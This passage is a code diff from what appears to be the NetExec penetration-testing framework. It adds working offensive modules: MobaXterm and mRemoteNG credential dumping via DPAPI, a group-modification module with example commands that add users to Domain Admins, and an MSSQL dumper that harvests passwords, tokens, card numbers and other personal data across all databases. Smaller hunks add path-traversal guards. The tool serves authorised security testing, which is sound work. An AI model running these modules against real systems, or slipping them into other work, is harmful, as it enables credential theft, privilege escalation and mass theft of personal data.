results = parse_result_attributes(resp)
|
||||
if not results:
|
||||
return ""
|
||||
return results[0].get("displayName") or results[0].get("name") or ""
|
||||
|
||||
def parse_gplink(self, gplink):
|
||||
raw_entries = re.findall(r"(?i)\[LDAP://cn=\{([0-9a-f\-]{36})\}[^;\]]*;(\d+)\]", gplink)
|
||||
parsed = []
|
||||
# Number every link, including disabled links (last listed = order 1).
|
||||
for link_order, (guid, flags_str) in enumerate(reversed(raw_entries), 1):
|
||||
flags = int(flags_str)
|
||||
parsed.append({"guid": guid, "flags": flags, "disabled": bool(flags & 0x1), "enforced": bool(flags & 0x2), "link_order": link_order})
|
||||
return parsed
|
||||
@@ -1,62 +1,34 @@
|
||||
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "mobaxterm"
|
||||
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
|
||||
|
||||
def mobaxterm_callback(credential):
|
||||
if isinstance(credential, MobaXtermCredential):
|
||||
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
|
||||
log_text = f"{credential.name} - {credential.username}:{credential.password.decode('latin-1')}"
|
||||
elif isinstance(credential, MobaXtermPassword):
|
||||
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
|
||||
context.log.highlight(f"[{credential.winuser}] {log_text}")
|
||||
log_text = f"{credential.username}:{credential.password.decode('latin-1')}"
|
||||
connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log)
|
||||
|
||||
try:
|
||||
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
|
||||
context.log.success("Looting MobaXterm secrets")
|
||||
triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback)
|
||||
triage.triage_mobaxterm()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot MobaXterm secrets: {e}")
|
||||
@@ -0,0 +1,168 @@
|
||||
import contextlib
|
||||
import sys
|
||||
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE
|
||||
from impacket.dcerpc.v5 import samr
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module for adding/removing users to/from groups
|
||||
Module by @termanix
|
||||
"""
|
||||
|
||||
name = "modify-group"
|
||||
description = "Modify the group membership of users and computers"
|
||||
supported_protocols = ["smb", "ldap"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Required (at least one of):
|
||||
GROUP Name of the group to add/remove the user to/from
|
||||
USER Username of the account to modify
|
||||
|
||||
Optional:
|
||||
REMOVE Set to 'True' to remove the user from the specified group instead of adding (default: False)
|
||||
|
||||
Examples
|
||||
--------
|
||||
Adding a user to a group:
|
||||
netexec smb <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Domain Admins'
|
||||
netexec ldap <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Enterprise Admins'
|
||||
|
||||
Removing a user from a group:
|
||||
netexec smb <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Domain Admins' REMOVE=True
|
||||
netexec ldap <DC_IP> -u adminuser -p password -M modify-group -o USER='targetuser' GROUP='Enterprise Admins' REMOVE=True
|
||||
|
||||
SMB/SAMR KNOWN LIMITATIONS:
|
||||
- SAMR only supports modification of Global security groups.
|
||||
Domain Local and Universal groups require the LDAP protocol.
|
||||
- Cross-domain groups (e.g. Enterprise Admins) cannot be modified via SAMR.
|
||||
Use LDAP instead.
|
||||
|
||||
"""
|
||||
self.group = module_options.get("GROUP")
|
||||
self.target_user = module_options.get("USER")
|
||||
self.remove = module_options.get("REMOVE", "False").lower() == "true"
|
||||
|
||||
if not (self.target_user and self.group):
|
||||
context.log.fail("USER and GROUP parameters are required!")
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
if context.protocol == "smb":
|
||||
self._modify_group_smb()
|
||||
elif context.protocol == "ldap" and self.group:
|
||||
self._modify_group_ldap()
|
||||
|
||||
def _modify_group_smb(self):
|
||||
"""Modify group membership using SMB/SAMR protocol"""
|
||||
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
|
||||
if not dce:
|
||||
return
|
||||
|
||||
# Get domain handle
|
||||
try:
|
||||
server_handle = samr.hSamrConnect(dce, self.connection.host + "\x00")["ServerHandle"]
|
||||
domain_sid = samr.hSamrLookupDomainInSamServer(dce, server_handle, self.connection.domain)["DomainId"]
|
||||
domain_handle = samr.hSamrOpenDomain(dce, server_handle, domainId=domain_sid)["DomainHandle"]
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to connect to SAMR service: {e}")
|
||||
return
|
||||
|
||||
# Find the user RID
|
||||
try:
|
||||
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, (self.target_user,))["RelativeIds"]["Element"][0]
|
||||
except Exception as e:
|
||||
if "STATUS_NONE_MAPPED" in str(e):
|
||||
self.context.log.fail(f"Target user not found: {self.target_user}")
|
||||
else:
|
||||
self.context.log.fail(f"Failed to find user RID: {e}")
|
||||
return
|
||||
|
||||
# Find the group RID and open the group
|
||||
try:
|
||||
group_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, (self.group,))["RelativeIds"]["Element"][0]
|
||||
group_handle = samr.hSamrOpenGroup(dce, domain_handle, groupId=group_rid)["GroupHandle"]
|
||||
except Exception as e:
|
||||
if "STATUS_NONE_MAPPED" in str(e):
|
||||
self.context.log.fail(f"Target group not found: {self.group}")
|
||||
else:
|
||||
self.context.log.fail(f"Failed to find group: {e}")
|
||||
return
|
||||
|
||||
# Modify group membership
|
||||
if self.remove:
|
||||
try:
|
||||
samr.hSamrRemoveMemberFromGroup(dce, group_handle, user_rid)
|
||||
self.context.log.success(f"Successfully removed {self.target_user} from group {self.group}")
|
||||
except Exception as e:
|
||||
if "STATUS_MEMBER_NOT_IN_GROUP" in str(e):
|
||||
self.context.log.fail(f"User {self.target_user} is not a member of group {self.group}")
|
||||
else:
|
||||
self.context.log.fail(f"Failed to remove user from group via SMB: {e}")
|
||||
else:
|
||||
try:
|
||||
samr.hSamrAddMemberToGroup(dce, group_handle, user_rid, 0x7)
|
||||
self.context.log.success(f"Successfully added {self.target_user} to group {self.group}")
|
||||
except Exception as e:
|
||||
if "STATUS_MEMBER_IN_GROUP" in str(e):
|
||||
self.context.log.fail(f"User {self.target_user} is already a member of group {self.group}")
|
||||
else:
|
||||
self.context.log.fail(f"Failed to add user to group via SMB: {e}")
|
||||
|
||||
# Disconnect from DCE/RPC
|
||||
with contextlib.suppress(Exception):
|
||||
dce.disconnect()
|
||||
|
||||
def _modify_group_ldap(self):
|
||||
"""Modify group membership using LDAP protocol"""
|
||||
# Get the DN of the target user
|
||||
resp = self._find_object_dn(self.target_user)
|
||||
if not resp:
|
||||
self.context.log.fail(f"Target user not found: {self.target_user}")
|
||||
return
|
||||
else:
|
||||
target_user_dn = resp[0]["distinguishedName"]
|
||||
|
||||
# Get the DN of the target group
|
||||
resp = self._find_object_dn(self.group)
|
||||
if not resp:
|
||||
self.context.log.fail(f"Target group not found: {self.group}")
|
||||
return
|
||||
else:
|
||||
group_dn = resp[0]["distinguishedName"]
|
||||
|
||||
# Modify group membership
|
||||
if self.remove:
|
||||
try:
|
||||
self.connection.ldap_connection.modify(group_dn, {"member": [(MODIFY_DELETE, [target_user_dn])]})
|
||||
self.context.log.success(f"Successfully removed {self.target_user} from group {self.group}")
|
||||
except Exception as e:
|
||||
if "unwillingToPerform" in str(e):
|
||||
self.context.log.fail(f"User {self.target_user} is not a member of group {self.group}")
|
||||
else:
|
||||
self.context.log.fail(f"Failed to remove user from group via LDAP: {e}")
|
||||
else:
|
||||
try:
|
||||
self.connection.ldap_connection.modify(group_dn, {"member": [(MODIFY_ADD, [target_user_dn])]})
|
||||
self.context.log.success(f"Successfully added {self.target_user} to group {self.group}")
|
||||
except Exception as e:
|
||||
if "entryAlreadyExists" in str(e):
|
||||
self.context.log.fail(f"User {self.target_user} is already a member of group {self.group}")
|
||||
else:
|
||||
self.context.log.fail(f"Failed to add user to group via LDAP: {e}")
|
||||
|
||||
def _find_object_dn(self, value):
|
||||
"""Find the distinguished name (DN) of an object by sAMAccountName"""
|
||||
resp = self.connection.ldap_connection.search(
|
||||
searchFilter=f"(sAMAccountName={value})",
|
||||
attributes=["distinguishedName"]
|
||||
)
|
||||
return parse_result_attributes(resp)
|
||||
+12
-52
@@ -1,12 +1,10 @@
|
||||
import ntpath
|
||||
from dploot.lib.target import Target
|
||||
from Cryptodome.Cipher import AES
|
||||
from lxml import objectify
|
||||
from base64 import b64decode
|
||||
import hashlib
|
||||
from dataclasses import dataclass
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -25,7 +23,7 @@ class NXCModule:
|
||||
|
||||
name = "mremoteng"
|
||||
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
@@ -42,6 +40,7 @@ class NXCModule:
|
||||
self.mRemoteNg_path = [
|
||||
"Users\\{username}\\AppData\\Local\\mRemoteNG",
|
||||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
|
||||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG Connection Manager",
|
||||
]
|
||||
|
||||
self.custom_user_path = [
|
||||
@@ -68,70 +67,31 @@ class NXCModule:
|
||||
self.custom_path = module_options["CUSTOM_PATH"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
# 1. Evole conn into dploot conn
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.share = connection.args.share
|
||||
self.share = connection.args.share if hasattr(connection.args, "share") else "C$"
|
||||
self.dploot_conn = connection.dpapi_triage.conn
|
||||
|
||||
host = f"{connection.hostname}.{connection.domain}"
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
users = self.dploot_conn.list_users()
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if dploot_conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
# 2. Dump users list
|
||||
users = self.get_users(dploot_conn)
|
||||
|
||||
# 3. Search for mRemoteNG files
|
||||
# Search for mRemoteNG files
|
||||
for user in users:
|
||||
for path in self.mRemoteNg_path:
|
||||
user_path = ntpath.join(path.format(username=user), "confCons.xml")
|
||||
content = dploot_conn.readFile(self.share, user_path)
|
||||
content = self.dploot_conn.read_file(share=self.share, path=user_path)
|
||||
if content is None:
|
||||
continue
|
||||
self.context.log.info(f"Found confCons.xml file: {user_path}")
|
||||
self.handle_confCons_file(content)
|
||||
for path in self.custom_user_path:
|
||||
user_path = path.format(username=user)
|
||||
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
|
||||
self.dig_confCons_in_files(conn=self.dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
|
||||
if self.custom_path is not None:
|
||||
content = dploot_conn.readFile(self.share, self.custom_path)
|
||||
content = self.dploot_conn.read_file(share=self.share, path=self.custom_path)
|
||||
if content is not None:
|
||||
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
def get_users(self, conn):
|
||||
users = []
|
||||
|
||||
users_dir_path = "Users\\*"
|
||||
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
|
||||
|
||||
for d in directories:
|
||||
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
|
||||
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
|
||||
return users
|
||||
|
||||
def handle_confCons_file(self, file_content):
|
||||
main = objectify.fromstring(file_content)
|
||||
encryption_attributes = MRemoteNgEncryptionAttributes(
|
||||
@@ -152,7 +112,7 @@ class NXCModule:
|
||||
protocol = node_attribute["Protocol"]
|
||||
port = node_attribute["Port"]
|
||||
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
|
||||
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
|
||||
self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}", self.context.log)
|
||||
|
||||
def parse_xml_nodes(self, main):
|
||||
nodes = []
|
||||
@@ -166,7 +126,7 @@ class NXCModule:
|
||||
return nodes
|
||||
|
||||
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
|
||||
directory_list = conn.remote_list_dir(self.share, directory_path)
|
||||
directory_list = conn.list_dir(share=self.share, path=directory_path)
|
||||
if directory_list is not None:
|
||||
for item in directory_list:
|
||||
if item.get_longname() not in self.false_positive:
|
||||
@@ -178,7 +138,7 @@ class NXCModule:
|
||||
# It's a file, download it to the output share if the mask is ok
|
||||
if "confCons.xml" in item.get_longname():
|
||||
self.context.log.info(f"Found confCons.xml file: {new_path}")
|
||||
content = conn.readFile(self.context.share, new_path)
|
||||
content = conn.read_file(share=self.share, path=new_path)
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
|
||||
|
||||
@@ -0,0 +1,58 @@
|
||||
from impacket import tds
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module written by @Defte_"""
|
||||
name = "mssql_cbt"
|
||||
description = "Checks whether Channel Binding is enabled on the MSSQL database"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.logger = context.log
|
||||
|
||||
if not connection.encryption:
|
||||
self.logger.highlight("TLS not required: Channel Binding Token NOT REQUIRED")
|
||||
return
|
||||
|
||||
if connection.args.local_auth:
|
||||
self.logger.highlight("Local auth: CANNOT check Channel Binding Token configuration")
|
||||
return
|
||||
|
||||
new_conn = tds.MSSQL(connection.host, connection.port, connection.conn.remoteName)
|
||||
new_conn.connect(connection.args.mssql_timeout)
|
||||
|
||||
if connection.kerberos:
|
||||
success = new_conn.kerberosLogin(
|
||||
None,
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.targetDomain,
|
||||
f"{connection.lmhash}:{connection.nthash}" if connection.lmhash or connection.nthash else None,
|
||||
connection.aesKey,
|
||||
connection.kdcHost,
|
||||
None,
|
||||
None,
|
||||
connection.use_kcache,
|
||||
cbt_fake_value=b""
|
||||
)
|
||||
else:
|
||||
success = new_conn.login(
|
||||
None,
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.targetDomain,
|
||||
f"{connection.lmhash}:{connection.nthash}" if connection.lmhash or connection.nthash else None,
|
||||
not connection.args.local_auth,
|
||||
cbt_fake_value=b""
|
||||
)
|
||||
|
||||
if success:
|
||||
self.logger.highlight("Connection successful: Channel Binding Token NOT REQUIRED")
|
||||
else:
|
||||
self.logger.highlight("Connection failed: Channel Binding Token REQUIRED")
|
||||
new_conn.disconnect()
|
||||
@@ -0,0 +1,148 @@
|
||||
import json
|
||||
import datetime
|
||||
import os
|
||||
from pathlib import Path
|
||||
import re
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""MSSQL Dumper v1 - Created by LTJAX"""
|
||||
name = "mssql_dumper"
|
||||
description = "Search for Sensitive Data across all databases"
|
||||
supported_protocols = ["mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
SHOW_DATA Display the actual row data values of the matched columns (default: True)
|
||||
REGEX Semicolon-separated regex(es) to search for in **Cell Values**
|
||||
LIKE_SEARCH Comma-separated list or filename of column names to specifically look for
|
||||
USE_PRESET Use a predefined set of regex patterns for common PII (default: True)
|
||||
SAVE Save the output to sqlite database (default: True)
|
||||
"""
|
||||
self.regex_patterns = []
|
||||
self.show_data = module_options.get("SHOW_DATA", "true").lower() in ["true", "1", "yes"]
|
||||
regex_input = module_options.get("REGEX", "")
|
||||
for pattern in regex_input.split(";"):
|
||||
pattern = pattern.strip()
|
||||
if pattern:
|
||||
try:
|
||||
self.regex_patterns.append(re.compile(pattern))
|
||||
except re.error as e:
|
||||
context.log.fail(f"[!] Invalid regex pattern '{pattern}': {e}")
|
||||
like_input = module_options.get("LIKE_SEARCH", "")
|
||||
if os.path.isfile(like_input):
|
||||
with open(like_input) as f:
|
||||
self.like_search = [line.strip().lower() for line in f if line.strip()]
|
||||
else:
|
||||
self.like_search = [s.strip().lower() for s in like_input.split(",") if s.strip()]
|
||||
self.use_preset = module_options.get("USE_PRESET", "true").lower() in ["true", "1", "yes"]
|
||||
self.save = module_options.get("SAVE", "true").lower() in ["true", "1", "yes"]
|
||||
|
||||
def pii(self):
|
||||
"""Common personally identifiable information (PII) keywords to search for in column names"""
|
||||
return ["access_token", "account_number", "address", "allergies", "alt_email", "annual_salary", "apartment",
|
||||
"api_key", "auth_code", "auth_token", "bank_account", "bank_code", "bank_id", "bank_name", "bic",
|
||||
"billing_address", "birth_date", "blood_type", "card_exp", "card_number", "cardholder_name", "cc_exp_month",
|
||||
"cc_exp_year", "cc_number", "ccv", "city", "compensation", "contract_number", "country", "credit_card_expiry",
|
||||
"credit_card_hash", "credit_card_number", "credit_card", "creditcard", "cvv", "cvv2", "date_of_birth",
|
||||
"debit_card", "diagnosis", "dl_number", "dob", "drivers_license", "ein", "email_address", "email",
|
||||
"emergency_contact", "employee_id", "employment_status", "expiration_date", "expiry_date", "fax", "first_name",
|
||||
"full_name", "gender", "health_id", "house_number", "iban", "income", "insurance_id", "insurance_number",
|
||||
"invoice_id", "invoice_total", "job_title", "last_name", "legal_entity", "legal_name", "location", "login_token",
|
||||
"maiden_name", "medical_record", "medication", "mfa_secret", "middle_name", "mobile", "national_id", "nickname",
|
||||
"nin", "old_password", "order_amount", "order_id", "order_total", "otp_secret", "passport_number", "passwd_hash",
|
||||
"passwd", "password_hash", "password_plaintext", "password_salt", "password", "patient_id", "payment_status",
|
||||
"payment_token", "paypal_email", "phone_number", "phone", "phonenumber", "pin_code", "pin", "position",
|
||||
"prescriptions", "recovery_key", "refresh_token", "region", "reset_token", "routing_number", "salary", "secret_key",
|
||||
"security_answer", "security_code", "security_pin", "security_question", "session_token", "session", "sessionid",
|
||||
"social_security_number", "ssn_hash", "ssn", "state", "street", "tax_id", "temp_password", "tin", "token",
|
||||
"treatment", "user_credential", "user_name", "user_pass", "user_password", "user_secret", "user_token", "username",
|
||||
"zip", "zipcode"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
all_results = []
|
||||
databases = connection.conn.sql_query("SELECT name FROM master.dbo.sysdatabases")
|
||||
if connection.conn.lastError:
|
||||
context.log.fail(f"Failed to retrieve databases: {connection.conn.lastError}")
|
||||
return
|
||||
|
||||
for db in databases:
|
||||
db_name = db.get("name") or db.get("", "")
|
||||
if db_name.lower() in ("master", "model", "msdb", "tempdb"):
|
||||
continue # skip system DBs
|
||||
|
||||
context.log.display(f"Searching database: {db_name}")
|
||||
connection.conn.sql_query(f"USE [{db_name}]")
|
||||
|
||||
# get all tables in this DB
|
||||
tables = connection.conn.sql_query("SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE'")
|
||||
|
||||
for table in tables:
|
||||
table_name = table.get("table_name", "")
|
||||
try:
|
||||
columns = connection.conn.sql_query(f"SELECT column_name FROM information_schema.columns WHERE table_name = '{table_name}'")
|
||||
|
||||
# find matching columns
|
||||
search_keys = []
|
||||
if self.use_preset:
|
||||
search_keys += self.pii()
|
||||
if self.like_search:
|
||||
search_keys += self.like_search
|
||||
matched = [col for col in columns if any(key in col["column_name"].lower() for key in search_keys)]
|
||||
if matched:
|
||||
column_str = ", ".join(f"[{c['column_name']}]" for c in matched)
|
||||
context.log.success(f"Match in {db_name}.{table_name} => Columns: {column_str}")
|
||||
data = connection.conn.sql_query(f"SELECT {column_str} FROM [{table_name}]")
|
||||
for row in data:
|
||||
decoded_data = {k: (v.decode("utf-8", "replace").strip() if isinstance(v, bytes) else str(v).strip()) for k, v in row.items()}
|
||||
if self.show_data:
|
||||
context.log.highlight(f"{db_name}.{table_name} => " + ", ".join(f"{k}: {v}" for k, v in decoded_data.items()))
|
||||
all_results.append({
|
||||
"type": "column_match",
|
||||
"database": db_name,
|
||||
"table": table_name,
|
||||
"row": {k: v.strip() for k, v in decoded_data.items()}
|
||||
})
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to inspect table {table_name} in {db_name}: {e}")
|
||||
|
||||
# If regex patterns are provided, scan all cell values in the table for matches
|
||||
if self.regex_patterns:
|
||||
try:
|
||||
full_data = connection.conn.sql_query(f"SELECT * FROM [{table_name}]")
|
||||
for row in full_data:
|
||||
matched_cells = {}
|
||||
for col, val in row.items():
|
||||
val_str = val.decode("utf-8", "replace").strip() if isinstance(val, bytes) else str(val).strip()
|
||||
|
||||
# Check if any of the cells in the row match any of the regex patterns
|
||||
for pattern in self.regex_patterns:
|
||||
if pattern.search(val_str):
|
||||
matched_cells[col] = val_str
|
||||
break
|
||||
|
||||
if matched_cells:
|
||||
match_str = ", ".join(f"{k}: {v}" for k, v in matched_cells.items())
|
||||
if self.show_data:
|
||||
context.log.highlight(f"{db_name}.{table_name} => Regex Match => {match_str}")
|
||||
all_results.append({
|
||||
"type": "regex_match",
|
||||
"database": db_name,
|
||||
"table": table_name,
|
||||
"matched_cells": matched_cells
|
||||
})
|
||||
except Exception as e:
|
||||
context.log.fail(f"Regex scan failed for {db_name}.{table_name}: {e}")
|
||||
|
||||
if self.save and all_results:
|
||||
filename = sanitize_path_component(f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json")
|
||||
file_path = (Path(NXC_PATH) / "modules" / "mssql-dumper" / filename).resolve()
|
||||
os.makedirs(file_path.parent, exist_ok=True)
|
||||
with open(file_path, "w") as f:
|
||||
json.dump(all_results, f, indent=2)
|
||||
context.log.success(f"Data saved to {file_path}")
|
||||
@@ -446,7 +446,7 @@ class NXCModule:
|
||||
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
|
||||
is_admin = res[0][""]
|
||||
try:
|
||||
if is_admin != "NULL" and int(is_admin):
|
||||
if is_admin is not None and int(is_admin):
|
||||
self.admin_privs = True
|
||||
self.context.log.debug(f"Updated: {username} is admin!")
|
||||
return True
|
||||
|
||||
@@ -10,6 +10,7 @@ import tempfile
|
||||
from datetime import datetime
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
|
||||
|
||||
|
||||
@@ -158,7 +159,7 @@ class NXCModule:
|
||||
return
|
||||
else:
|
||||
self.context.log.display(f"Copying {nano_log_name} to host")
|
||||
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
|
||||
filename = os.path.join(self.dir_result, sanitize_path_component(f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log"))
|
||||
if self.context.protocol == "smb":
|
||||
with open(filename, "wb+") as dump_file:
|
||||
try:
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
from io import BytesIO
|
||||
from os import makedirs
|
||||
from os.path import join, abspath
|
||||
from os.path import join
|
||||
from pathlib import Path
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -36,9 +38,12 @@ class NXCModule:
|
||||
context.log.highlight(f"C:\\{file_path}")
|
||||
for line in file_content.splitlines():
|
||||
context.log.highlight(f"\t{line}")
|
||||
filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
|
||||
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt")
|
||||
export_path = join(NXC_PATH, "modules", "notepad++")
|
||||
path = abspath(join(export_path, filename))
|
||||
path = Path(export_path, filename).resolve()
|
||||
if Path(export_path).resolve() not in path.parents:
|
||||
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
|
||||
continue
|
||||
makedirs(export_path, exist_ok=True)
|
||||
try:
|
||||
with open(path, "w+") as file:
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
from io import BytesIO
|
||||
from os import makedirs
|
||||
from os.path import join, abspath
|
||||
from os.path import join
|
||||
from pathlib import Path
|
||||
import re
|
||||
import time
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from impacket.smbconnection import SessionError
|
||||
|
||||
@@ -37,7 +39,7 @@ class NXCModule:
|
||||
self.FILE_PATH_REGEX = r"^[A-Za-z]:\\(?:[^<>:\"/\\|?*]+\\)*[^<>:\"/\\|?*]+\.[\w]{1,5}$"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""KILL // Kill for notepad.exe process. Default False."""
|
||||
"""KILL Kill for notepad.exe process. Default: False"""
|
||||
if "KILL" not in module_options:
|
||||
self.kill = False
|
||||
else:
|
||||
@@ -161,9 +163,12 @@ class NXCModule:
|
||||
content_lines.append(string) # Store the string value only
|
||||
|
||||
# Save to file
|
||||
filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt"
|
||||
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt")
|
||||
export_path = join(NXC_PATH, "modules", "notepad")
|
||||
path = abspath(join(export_path, filename))
|
||||
path = Path(export_path, filename).resolve()
|
||||
if Path(export_path).resolve() not in path.parents:
|
||||
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
|
||||
continue
|
||||
makedirs(export_path, exist_ok=True)
|
||||
|
||||
with open(path, "w+") as output_file:
|
||||
|
||||
@@ -519,10 +519,10 @@ class NXCModule:
|
||||
parsed_header = self.parse_MFT_header(curr_sector[Offset_to_the_first_attribute:])
|
||||
|
||||
if "$FILE_NAME" in parsed_header:
|
||||
filename_lenght = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
|
||||
filename_length = self.bytes_to_int_signed(parsed_header["$FILE_NAME"][0x58: 0x58 + 1])
|
||||
curr_MFA_sector.parent_record_number = self.bytes_to_int_unsigned(parsed_header["$FILE_NAME"][0x18: 0x18 + 3] + b"\x00")
|
||||
|
||||
